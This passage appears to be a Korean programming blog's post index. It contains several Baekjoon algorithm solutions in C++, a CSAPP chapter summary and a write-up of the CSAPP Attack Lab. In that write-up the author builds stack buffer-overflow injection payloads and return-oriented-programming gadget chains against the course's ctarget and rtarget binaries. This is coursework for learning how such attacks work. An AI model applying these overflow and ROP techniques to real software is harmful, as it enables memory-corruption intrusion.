\u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; if(u == -1 \u0026amp;\u0026amp; v == -1) break; know[u][v] = know[v][u] = true; } bool isBipartite = true; vector\u0026lt;int\u0026gt; color(N+1, 0); rep(i, 1, N+1) if(color[i] == 0){ queue\u0026lt;int\u0026gt; Q; Q.push(i); color[i] = 1; while(!Q.empty()){ int cur = Q.front(); Q.pop(); rep(nxt, 1, N+1){ if(cur == nxt) continue; if(know[cur][nxt]) continue; if(color[nxt] == 0){ color[nxt] = (color[cur] == 1 ? 2 : 1); Q.push(nxt); } else if(color[nxt] == color[cur]){ isBipartite = false; break; } } } } if(!isBipartite){ cout \u0026lt;\u0026lt; -1; return; } vector\u0026lt;int\u0026gt; team1, team2; rep(i, 1, N+1){ if(color[i] == 1) team1.push_back(i); else team2.push_back(i); } cout \u0026lt;\u0026lt; 1 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; for(auto x: team1) cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; -1 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; for(auto x: team2) cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; -1 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-24T00:00:00Z","permalink":"/posts/algorithm/ps/260124_algorithm_boj-1154-%ED%8C%80-%ED%8E%B8%EC%84%B1/","title":"BOJ 1154 팀 편성"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2263 🧐 관찰 및 접근 이진 트리의 인오더와 포스트오더가 주어졌을 때, 프리오더를 구하자. 인오더: (왼쪽 -\u0026gt; 루트 -\u0026gt; 오른쪽) 포스트오더: (왼쪽 -\u0026gt; 오른쪽 -\u0026gt; 루트) 프리오더: (루트 -\u0026gt; 왼쪽 -\u0026gt; 오른쪽) 그렇다면, 어떤 한 서브트리에 대해, 포스트오더를 이용해서 루트를 찾을 수 있다. (맨 마지막 값) 그리고 이를 기점으로 인오더에서 왼쪽에 있는 모든 수는 왼쪽 서브트리, 나머지는 오른쪽 서브트리에 있다고 생각할 수 있다. 한 서브트리에서 루트노드의 값을 알아냈을 때, 인오더에서의 그 인덱스를 빠르게 찾을 수 있다면 왼쪽/오른쪽 서브트리로의 분할이 용이하다! map을 이용하면 $O(NlogN)$에 해결할 수 있겠다. 💻 풀이 코드 (C++): int N; vector\u0026lt;int\u0026gt; inorder, postorder; map\u0026lt;int, int\u0026gt; in_idx; void preorder(int in_s, int in_e, int post_s, int post_e){ if(in_s \u0026gt; in_e) return; int root = postorder[post_e]; cout \u0026lt;\u0026lt; root \u0026lt;\u0026lt; \u0026#39; \u0026#39;; int idx = in_idx[root]; int sz = idx - in_s; preorder(in_s, idx-1, post_s, post_s + sz - 1); // 왼쪽 서브트리 preorder(idx+1, in_e, post_s + sz, post_e - 1); // 오른쪽 서브트리 } void solve(){ cin \u0026gt;\u0026gt; N; inorder.resize(N); postorder.resize(N); rep(i, 0, N) cin \u0026gt;\u0026gt; inorder[i]; rep(i, 0, N) cin \u0026gt;\u0026gt; postorder[i]; rep(i, 0, N) in_idx[inorder[i]] = i; preorder(0, N-1, 0, N-1); } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-24T00:00:00Z","permalink":"/posts/algorithm/ps/260124_algorithm_boj-2263-%ED%8A%B8%EB%A6%AC%EC%9D%98-%EC%88%9C%ED%9A%8C/","title":"BOJ 2263 트리의 순회"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/5214 🧐 관찰 및 접근 나이브하게 생각해볼까? 인접 리스트로 간선을 저장한다고 생각하면, $M\\binom{K}{2} \\approx MK^2$ 개의 정보가 저장된다. 그러면 BFS의 시간복잡도는 $O(V+E)$ 니까 조금 곤란한데\u0026hellip; 잘 생각해보면, (1, 2, 3, 4), (2, 3, 4, 5) 하이퍼튜브가 있다고 가정하면, 겹치는 정보가 너무나도 많다! 첫 하이퍼튜브를 타고 2, 3, 4번 역에 1회만에 도착했다면, 두번째 하이퍼튜브에서 2, 3, 4번이 서로를 움직일 필요가 없다. 하이퍼튜브는 최대 1000개 존재한다. 또한 한 역은 최대 1000개의 하이퍼튜브에 속한다. 하이퍼튜브만 따로 정리해서, 그 안에서 움직이면 되지 않을까? 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K \u0026gt;\u0026gt; M; rep(i, 0, M){ rep(j, 0, K){ int x; cin \u0026gt;\u0026gt; x; inhyper[x].push_back(i); hypertube[i].push_back(x); } } rep(i, 1, N+1) dist[i] = -1; dist[1] = 1; queue\u0026lt;int\u0026gt; q; q.push(1); while(!q.empty()){ int cur = q.front(); q.pop(); if(cur == N) break; for(int htube : inhyper[cur]){ for(int nxt : hypertube[htube]){ if(dist[nxt] == -1){ dist[nxt] = dist[cur] + 1; q.push(nxt); } } hypertube[htube].clear(); // 이미 방문한 하이퍼튜브는 볼일이 없다 } } cout \u0026lt;\u0026lt; dist[N] \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-24T00:00:00Z","permalink":"/posts/algorithm/ps/260124_algorithm_boj-5214-%ED%99%98%EC%8A%B9/","title":"BOJ 5214 환승"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/5639 🧐 관찰 및 접근 이진 검색 트리의 전위 순회 결과를 이용해서 후위 순회 결과를 찾아내자! 트리가 만들어져 있다면, 후위 순회를 하는건 쉬울텐데\u0026hellip; 전위 순회는 (루트 - 왼쪽서브트리 - 오른쪽서브트리)를 방문한다. 왼쪽 서브트리의 값은 언제나 루트보다 작고, 오른쪽 서브트리의 값은 언제나 루트보다 크므로 50 (루트) --- 30 (왼쪽 서브트리) 24 5 28 45 --- 98 (오른쪽 서브트리) 52 60 첫 입력에 대해, 이렇게 생각할 수 있지 않을까? 그리고 각 서브트리 또한 이진 검색트리이므로, 이를 재귀적으로 수행할 수 있다. 예를 들어, 왼쪽 서브트리에 대해서 30 (루트) --- 24 (왼쪽 서브트리) 5 28 --- 45 (오른쪽 서브트리) 위와 같이 말이다! 그렇다면, 재귀를 이용해서 트리를 구축하고 후위순회만 하면 끝난다. 💻 풀이 코드 (C++): vector\u0026lt;int\u0026gt; v; struct Node{ int val = -1; Node* left = nullptr; Node* right = nullptr; Node(int s, int e){ val = v[s]; if(s == e) return; int idx = e+1; rep(i, s+1, e+1){ if(v[i] \u0026gt; val){ idx = i; break; } } if(s+1 \u0026lt;= idx-1) left = new Node(s+1, idx-1); if(idx \u0026lt;= e) right = new Node(idx, e); } }; void postorder(Node* node){ if(node == nullptr) return; postorder(node-\u0026gt;left); postorder(node-\u0026gt;right); cout \u0026lt;\u0026lt; node-\u0026gt;val \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } void solve(){ int x; while(cin \u0026gt;\u0026gt; x) v.push_back(x); Node* root = new Node(0, v.size()-1); postorder(root); } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n루트와의 값 비교에서 단조성이 있으므로, 이분탐색도 섞을 수 있다. 정렬되어있지 않아도 단조성만 있다면 이분탐색이 가능하다!! struct Node{ int val = -1; Node* left = nullptr; Node* right = nullptr; Node(int s, int e){ val = v[s]; if(s == e) return; int ok = e+1, ng = s; while(ok - ng \u0026gt; 1){ int mid = (ok + ng) \u0026gt;\u0026gt; 1; if(v[mid] \u0026gt; val) ok = mid; else ng = mid; } int idx = ok; if(s+1 \u0026lt;= idx-1) left = new Node(s+1, idx-1); if(idx \u0026lt;= e) right = new Node(idx, e); } }; 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-24T00:00:00Z","permalink":"/posts/algorithm/ps/260124_algorithm_boj-5639-%EC%9D%B4%EC%A7%84-%EA%B2%80%EC%83%89-%ED%8A%B8%EB%A6%AC/","title":"BOJ 5639 이진 검색 트리"},{"content":"📝 상세 정리 그동안 C언어의 추상화 층을 살펴봤다! 5장에서 컴파일러의 특성을 알면, 효율적인 코드에 대해 더 잘 이해하게 될 것이다. 프로그램이 다른 메모리 영역에 데이터를 저장하는 방법을 알게 되었다. 12장에서 런타임 스택에 프로그램 변수가 있는지, 동적 할당된 데이터 구조에 있는지, 글로벌 프로그램 데이터 일부에있는지 더 공부할 것이다. 프로그램은 명령어들의 시퀀스로 표현되며, 명령어 각각은 단일 동작을 수행한다. 컴파일러는 상이한 데이터 구조를 생성/동작/제어 등 여러가지를 위해 다수의 명령어를 사용한다. C에서는 경계 검사가 부족하기 때문에 버퍼 오버플로우를 조심해야 한다. C++은 C와 유사하게 컴파일되지만, 자바는 완전히 다른 방식으로 작동한다. 자바 바이트코드라고 불리는 특별한 바이너리 코드가 된다. 이는 가상 머신을 위한 머신 레벨의 프로그램이지만, 하드웨어에서 직접 구현되지 않는다. 인터프리터가 이를 시뮬레이션하여 바이트 코드를 처리한다. 이는 같은 코드가 여러 기계에서 실행될 수 있지만, 우리가 고려한 C같은 경우는 x86-64 기계에서만 실행된다는 단점이 있다. ❔질문 사항 🔗 참고 자료 ","date":"2026-01-24T00:00:00Z","permalink":"/posts/books/csapp/chapter-03-machine-level-representation/260124_til_csapp-3.12/","title":"CSAPP 3.12 Summary"},{"content":"📝 상세 정리 Part I: Code Injection Attacks 새로운 코드를 인젝션하지는 않고, string을 직접 박아넣어서 존재하는 프로시져로 꽂을것이다. void test() { int val; val = getbuf(); printf(\u0026#34;No exploit. Getbuf returned 0x%x\\n\u0026#34;, val); } 위와 같은 코드에 직접 넣을 예정 Level 1 void touch1() 함수로 가게 만들자. 00000000004017a8 \u0026lt;getbuf\u0026gt;: 4017a8:\t48 83 ec 28 sub $0x28,%rsp 4017ac:\t48 89 e7 mov %rsp,%rdi 4017af:\te8 8c 02 00 00 call 401a40 \u0026lt;Gets\u0026gt; 4017b4:\tb8 01 00 00 00 mov $0x1,%eax 4017b9:\t48 83 c4 28 add $0x28,%rsp 4017bd:\tc3 ret 4017be:\t90 nop 4017bf:\t90 nop getbuf 함수를 보니, 0x28 = 40바이트를 스택메모리에 할당하고, get함수를 부른다.\n그렇다면 sub가 지난 이후 40바이트 위에는 getbuf가 끝나고 돌아가야할 함수 위치가 있을 것이다!\n00000000004017c0 \u0026lt;touch1\u0026gt;: 4017c0:\t48 83 ec 08 sub $0x8,%rsp 4017c4:\tc7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc \u0026lt;vlevel\u0026gt; 4017cb:\t00 00 00 4017ce:\tbf c5 30 40 00 mov $0x4030c5,%edi 4017d3:\te8 e8 f4 ff ff call 400cc0 \u0026lt;puts@plt\u0026gt; 4017d8:\tbf 01 00 00 00 mov $0x1,%edi 4017dd:\te8 ab 04 00 00 call 401c8d \u0026lt;validate\u0026gt; 4017e2:\tbf 00 00 00 00 mov $0x0,%edi 4017e7:\te8 54 f6 ff ff call 400e40 \u0026lt;exit@plt\u0026gt; touch함수의 위치는 다음과 같이 0x4017c0번이다.\n따라서 40바이트 뒤의 ret주소를 조작하자. string을 input받은 결과가\n00 00 00 00 (... 40개 ) c0 17 40 00 00 00 00 00 (x86-64에서는 8바이트씩 리틀엔디안으로 읽으므로) 를 인젝션하면 되겠다. 다음과 같은 내용을 넣은 exploit.txt를 만들고, ./hex2raw \u0026lt; exploit.txt \u0026gt; hex.txt ./ctarget -q \u0026lt; hex.txt 다음과 같은 코드를 통해 exploit을 수행하자. Level 2 작은 크기의 코드를 exploit string에 넣어야 한다. void touch2(unsigned val) 이라는 함수를 호출해야하고, 이때 val은 cookie와 같아야한다. 그렇다면 touch2로 가기 전에 rdi에 cookie값이 들어가도록 해야한다는건데.. 눈치상 mov를 쓰면 되지 않을까? mov 0x59b997fa %rdi 같은걸 수행하고, touch2로 가면 되는거같은데.. 짧은 코드니까 스택 메모리를 좀 이용할 수 있지 않을까? mov 0x59b997fa, %rdi ret 라고 touch2.s에 쓰고, ~/CSAPP/3_Attack_Lab$ gcc -c touch2.s ~/CSAPP/3_Attack_Lab$ objdump -d touch2.o 0000000000000000 \u0026lt;.text\u0026gt;: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: c3 ret 위와 같이 해서 hex로 바꿀 수 있다. 음.. 그러면 다시 스택메모리 -40쯤을 바라보게 한다음에, 거기에 저 코드를 넣고, ret를 수행하면 또 다음 블럭을 볼테니까 그 값에 touch2의 주소를 넣으면 되지 않을까? (gdb) x/50x $rsp 0x5561dc78: 0x00000000 0x00000000 0x00000000 0x00000000 0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000 0x5561dc98: 0x55586000 0x00000000 0x00401976 0x00000000 0x5561dca8: 0x55685fe8 0x00000000 0x00401f24 0x00000000 0x28만큼 빠진 뒤다. 저기 0x00401976이 좀아까 공격한 주소고. 그러면 여기서 0x5561dc78로 보내고, 거기서 위에서 예측한 짓을 해보자. ``` 요건 실패했다\u0026hellip; 스택을 직접 정렬을 맞추는게 까다롭다. PC역할을 하는 %rip와 스택의 %rsp는 별개니까, 직접 스택에 0x4017ec를 박아버려도 문제가 없다. movq $0x59b997fa, %rdi pushq $0x4017ec ret 로 하고, 이케이케 잘하면 된다!! Type string:Touch2!: You called touch2(0x59b997fa) 야호!!! Level 3 이번에는 char *sval, 그러니까 string을 전달해야하네 %rdi가 스트링의 주소를 가리키게 하고, 거기에 스트링을 넣어야한다 넣어야하는 값은 그 쿠키값 그대로 나오게 넣어야 하는듯? 어떻게 하면 좋을까? 제일 처음 8바이트에 우리가 필요로하는 문자열이 들어가고 그 다음으로 우리가 rip를 옮길건데, 여기서 그러면 rdi에 메모리주소를 지정해주고, 그리고 스택에 넣..기에는 괜찮을라나? 8칸 쓸수 있을까? 오염 안당할라나? 일단 해보자.ㅇ 이걸 nop같은걸로 미는것도 가능한가? Level2와 같이 했지만, 결국 hexmatch함수에 의해서 오염당하는게 문제였다 스택 메모리의 아랫쪽은 깊어진다면 오염당할 수 있다 그렇다면 위쪽에 넣어버린다면??? 어차피 버퍼 오버플로우로 위쪽을 오염시켜버리는거, 안전한데 박아버리자! 따라서 ret 주소 뒷쪽 안전한곳에 박아두고 쓰면.. 좋아쓰!! Type string:Touch3!: You called touch3(\u0026#34;59b997fa\u0026#34;) Valid solution for level 3 with target ctarget PASS: Would have posted the following: Part II: Return-Oriented Programming CTARGET보다 어려울 것이다. 3.10인가에서 배운 스택 무작위화도 쓰고, 스택에있는 명령어는 실행불가하게 할것이다. 하지만 이는 새로운 코드를 주입하는것 말고도 존재하는 코드를 실행하는것으로 뚫을 수 있다. 이를 Return-Oriented Programing, ROP라고 부른다. ret이 오는 instruction 덩어리를 잘 찾아가는 전략으로 작동한다. void setval_210(unsigned *p){ *p = 3347663060U; } 위와 같은 코드는 다음과 같은 기계코드가 된다. 0000000000400f15 : 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq 이때 뒤에 (48 89 c7) 만 보면, 이는 movq %rax, %rdi와 같다. 이런 느낌으로도 이용할 수 있다! Level 2 gadget farm을 이용해서, 위에 Level 2에서 했던걸 똑같이 하면 된다. 결국 해야하는건 rdi에 값을 넣기, touch2 함수로 가기 음.. 값을 어떻게 넣으면 좋을까? 0x6054e4 에 있는 cookie를 쓰는건 어려울거고, cookie 자체는 내가 직잡 넣는 영역일 것 같다 아, 제일처음에 rsp가 보고있는 값을 넣으면 40바이트의 처음을 쓸 수 있지 않을까?? 그렇다면 movq (%rsp), rdi ret 이걸 넣고, 40바이트부터 touch2 주소를 넣으면 되지 않을까? 0000000000000000 \u0026lt;.text\u0026gt;: 0: 48 8b 3c 24 mov (%rsp),%rdi 4: c3 ret 좋아. 48 8b 3c 24를 찾을수만 있다면\u0026hellip; 딱히 안보인다 일단 결국 rdi로 넣어야 하니까, 48 89 어쩌구 들을 찾아보자 00000000004019a0 \u0026lt;addval_273\u0026gt;: 4019a0:\t8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6:\tc3 ret 일단 여기서 48 89 c7 c3, 즉 movq %rax, %rdi / ret를 찾을 수 있다 89 c7 c3은 movl %eax, %edi / ret 이기도 하다! 아하, 값을 넣어야하는건 mov (%rsp)로도 되지만, 간단하게 popq로도 된다!! popq %rax인 58이나 popq %rdi인 5f만 찾으면 된다! 00000000004019a7 \u0026lt;addval_219\u0026gt;: 4019a7:\t8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad:\tc3 ret 58: popq %rax, 90: nop, c3: ret 으로 해석할 수 있지 않을까? 이거랑 위에걸 조합해서 실행해보자. 어.. 근데 이슈가 있다. 결국 rsp에 있는 리턴주소로 가서 실행하는건데, 그러면 스택메모리가 8바이트 땡겨지나? 그리고 movq를 하면 또 8바이트가 땡겨지나? 헷갈리네. 아마 그런거같긴 한데.. ~/CSAPP/3_Attack_Lab$ ./rtarget -q \u0026lt; hex4.txt Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: 야호! 성공했다. Level 3 ㅋㅋ 아니 Writeup 과제지에서 어려워서 일부러 점수 낮게 배점했다고 하는건 진짜 무냐.. 무서운데 그래도 해야겠지? 앞에서 했던것과 마찬가지로 문자열을 담아야 하는데, 그 포인터 위치를 알 수가 없으니 조금 까다롭다\u0026hellip; 음, 그나마 아이디어가 있다면, 0x40(%rsp)같이 오프셋을 좀 잘 해서 안전한데에다가 데이터를 넣어둘 수 있을까? 아니 근데 이건 거기있는 값인데 결국 %rdi에는 안전한 스택메모리의 주소가, 그리고 그 주소에 우리가 인젝션한 문자열이 있으면 되는거같은데. 그렇다면 어떻게 해야하지? add rdi가 있으면 좋을까? mov rsp rdi addq 0x40 rdi 이런게 있으면 되지 않을까? 0000000000401a03 \u0026lt;addval_190\u0026gt;: 401a03:\t8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09:\tc3 ret 48 89 e0: movq %rsp %rax를 찾았다! 이제 다른데서 값을 잘 찾아서, lea같은걸로 더해서 쓰면 되지 않을까? 0000000000000000 \u0026lt;.text\u0026gt;: 0: 48 8d 3c 3e lea (%rsi,%rdi,1),%rdi 4: 48 8d 3c 06 lea (%rsi,%rax,1),%rdi 8: 48 8d 3c 38 lea (%rax,%rdi,1),%rdi c: 48 8d 04 3e lea (%rsi,%rdi,1),%rax 이런 친구들을 찾으면 되겠는디? 48 8d를 찾아보자 00000000004019bc \u0026lt;setval_470\u0026gt;: 4019bc:\tc7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2:\tc3 ret 00000000004019d6 \u0026lt;add_xy\u0026gt;: 4019d6:\t48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da:\tc3 ret 이렇게 두가지가 있는것같다. 뒤에께 너무 쓰기 좋아보이는데, %rdi나 %rsi에다가 아까 얻어둔 %rsp값을 넣어두고, 다른데서 아무 상수값을 하나 가져오자. 이건 %rsp같은데서 popq로 훔쳐와도 될듯? movq rax rdi, movq rax rsi를 찾아와야한다. rdi는 아까 찾아놨고, 0000000000401a11 \u0026lt;addval_436\u0026gt;: 401a11:\t8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17:\tc3 ret 89 ce 90 90 c3이면 movl ecx esi, nop, nop, ret 이다! 이제 ecx로 옮길 수 있는지 찾아보자. 0000000000401a33 \u0026lt;getval_159\u0026gt;: 401a33:\tb8 89 d1 38 c9 mov $0xc938d189,%eax 401a38:\tc3 ret 여기서 89 d1 38 c9 c3이 movl edx ecx, cmpb cl cl, ret이고 그러면 edx로 보내야되는데.. 00000000004019db \u0026lt;getval_481\u0026gt;: 4019db:\tb8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0:\tc3 ret 야호! 89 c2 90 c3 = movl eax, edx, nop, ret을 찾았다. 이걸로 eax -\u0026gt; edx -\u0026gt; ecx -\u0026gt; esi 가 가능해졌다. ~/CSAPP/3_Attack_Lab$ ./rtarget -q \u0026lt; hex4.txt Cookie: 0x59b997fa Type string:Touch3!: You called touch3(\u0026#34;59b997fa\u0026#34;) Valid solution for level 3 with target rtarget 위를 잘 조합하면 성공할 수 있다!! 스택메모리 주소는 64비트니까 movl같은걸로 옮겨지지 않게 조심하자. ❔질문 사항 🔗 참고 자료 ","date":"2026-01-24T00:00:00Z","permalink":"/posts/books/csapp/chapter-03-machine-level-representation/260124_til_csapp-attack-lab/","title":"CSAPP Attack Lab"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/19641 🧐 관찰 및 접근 $A_{left} \u003c B_{left} \u003c B_{right} \u003c A_{right}$라면 두 노드를 포함관계라고 한다. 이는 트리를 dfs적으로 접근하면서, 트리에 들어가는 시간 / 나가는 시간을 기록함으로써 얻어낼 수 있다. 💻 풀이 코드 (C++): int N; vector\u0026lt;int\u0026gt; links[100010]; int start[100010], ed[100010]; int timer = 1; void dfs(int cur, int par){ start[cur] = timer++; for(auto nxt: links[cur]) if(nxt != par) dfs(nxt, cur); ed[cur] = timer++; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N){ int node; cin \u0026gt;\u0026gt; node; while(true){ int x; cin \u0026gt;\u0026gt; x; if(x == -1) break; links[node].push_back(x); } sort(all(links[node])); } int S; cin \u0026gt;\u0026gt; S; dfs(S, -1); rep(i, 1, N+1) cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; start[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; ed[i] \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-23T00:00:00Z","permalink":"/posts/algorithm/ps/260123_algorithm_boj-19641-%EC%A4%91%EC%B2%A9-%EC%A7%91%ED%95%A9-%EB%AA%A8%EB%8D%B8/","title":"BOJ 19641 중첩 집합 모델"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2132 🧐 관찰 및 접근 트리에서 특정 경로 위에서 노드들의 가중치의 합 트리의 경로란, 하나의 간선을 두번 지나지 않으며 $a_i \\in V, (a_i, a_{i+1}) \\in E$ 를 만족하는 집합 다시말해, 그냥 특정 간선을 두번 타지 않고 갈 수 있는 시점~종점의 길 어떻게 구할지 생각해보자 어떤 점 $a_0$에서 경로를 시작한다고 해보자. 그 다음에 갈 수 있는 점은 $a_0$의 자식중 한곳에만 갈 수 있다. 한 자식한테 들어간다면, 다시 나올수가 없기 때문에 그 자식을 $a_1$이라고 한다면, 마찬가지로 그 자식중 한곳에만 갈 수 있다. 어? 이거 DFS아닌가? DFS처럼 할 수 있는 것 같다. 그러면 자식중에 어디로 가야하는가? 물론 가장 열매를 많이 먹을 수 있는 곳으로! 💻 풀이 코드 (C++): int N; vector\u0026lt;int\u0026gt; links[10010]; int val[10010]; int dfs(int cur, int par){ int ret = 0; for(auto nxt: links[cur]){ if(nxt == par) continue; ret = max(ret, dfs(nxt, cur)); } return ret + val[cur]; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 1, N+1) cin \u0026gt;\u0026gt; val[i]; rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } int ans = 0, idx = 1; rep(i, 1, N+1){ int res = dfs(i, -1); if(res \u0026gt; ans){ ans = res; idx = i; } } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39; \u0026#39;\u0026lt;\u0026lt; idx \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n코드(C++) Tree DP를 사용한 $O(N)$ 풀이: int N; vector\u0026lt;int\u0026gt; links[10010]; int apple[10010]; struct Node{ /* 이때 subtree는 두가지 경우가 있음 1. 자식 노드의 subtree의 값이 더 큰경우 2. 자식 노드 두개까지 경로의 가중치 합 + 해당 노드의 가중치 합이 더 큰 경우 */ pii subtree; // 해당 노드를 지나는 서브트리에서 최적 값 (최대 사과 개수, 최소 인덱스) pii leaf; // 해당 노드 ~ 리프 노드 사이에서 최적 값 (최대 사과 개수, 최소 인덱스) // 간단한 max 연산을 위해 인덱스는 음수로 저장 }; Node DP[10010]; void dfs(int cur, int par){ pii bestSub = {apple[cur], -cur}; pii bestLeaf = {apple[cur], -cur}; vector\u0026lt;pii\u0026gt; childLeafs; for(auto nxt: links[cur]){ if(nxt == par) continue; dfs(nxt, cur); bestSub = max(bestSub, DP[nxt].subtree); // 1번 경우 // 가장 이득인놈 두개만 남기면 됨 childLeafs.push_back(DP[nxt].leaf); sort(all(childLeafs), greater\u0026lt;pii\u0026gt;()); if((int)childLeafs.size() \u0026gt; 2) childLeafs.pop_back(); } if((int)childLeafs.size() \u0026gt;= 2){ // 2번 경우 pii cand = {apple[cur] + childLeafs[0].first + childLeafs[1].first, max(childLeafs[0].second, childLeafs[1].second)}; bestSub = max(bestSub, cand); } if((int)childLeafs.size() \u0026gt;= 1){ pii cand = {apple[cur] + childLeafs[0].first, childLeafs[0].second}; bestLeaf = max(bestLeaf, cand); } pii cand = {bestLeaf.first, max(bestLeaf.second, -cur)}; bestSub = max(bestSub, cand); DP[cur].subtree = bestSub; DP[cur].leaf = bestLeaf; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 1, N+1) cin \u0026gt;\u0026gt; apple[i]; rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } dfs(1, -1); cout \u0026lt;\u0026lt; DP[1].subtree.first \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; -DP[1].subtree.second \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n끝점 처리 로직이 상당히 까다롭네요. 값만 신경써도 되면 쉬웠을텐데\u0026hellip; ","date":"2026-01-23T00:00:00Z","permalink":"/posts/algorithm/ps/260123_algorithm_boj-2132-%EB%82%98%EB%AC%B4-%EC%9C%84%EC%9D%98-%EB%B2%8C%EB%A0%88/","title":"BOJ 2132 나무 위의 벌레"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/23086 🧐 관찰 및 접근 그래프와 간선이 주어졌을때, 특정 시점에 이분 그래프인가?를 찾는 문제이다. 이분그래프를 판정하는데에는 $O(N+M)$의 시간이 걸린다. 직관적으로 생각해보면, 리스트에 쓰인 차례대로 친한 친구를 절교시킬 수 있으므로, 리스트를 뒤집어서 하나씩 간선을 이어가며 해당 그래프가 이분 그래프인지 판정하는 방법을 쓸 수 있을 것이다. 이때 시간 복잡도는 $O(K(N+M))$이다. 이는 너무 느리다! 문제 상황을 조금 더 관찰해보자. $\\text{ans}$개의 친한 친구 쌍을 절교시켜 이분 그래프가 성립하도록 했다면, $\\text{ans}+1$개의 쌍을 절교시켰을때도 마찬가지로 이분그래프일 것이다. $0 \\leq a \\leq K$인 $a$에 대해, 이분그래프가 성립하는지는 단조성이 존재한다! **매개변수 탐색(파라메트릭 서치)**가 가능하다. 💻 풀이 코드 (C++): int N, M, K; vector\u0026lt;pair\u0026lt;int, int\u0026gt;\u0026gt; links[100010]; // (nxt, idx) vector\u0026lt;int\u0026gt; prohibit_list; int color[100010]; // 0: unvisited, 1: group A, 2: group B bool prohibited[200010]; bool isBipartite(int cnt){ rep(i, 1, M+1) prohibited[i] = false; rep(i, 0, cnt) prohibited[prohibit_list[i]] = true; rep(i, 1, N+1) color[i] = 0; rep(i, 1, N+1) if(color[i] == 0){ queue\u0026lt;int\u0026gt; Q; Q.push(i); color[i] = 1; while(!Q.empty()){ int cur = Q.front(); Q.pop(); for(auto [nxt, idx]: links[cur]){ if(prohibited[idx]) continue; if(color[nxt] == 0){ color[nxt] = (color[cur] == 1 ? 2 : 1); Q.push(nxt); } else if(color[nxt] == color[cur]){ return false; } } } } return true; } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; rep(i, 1, 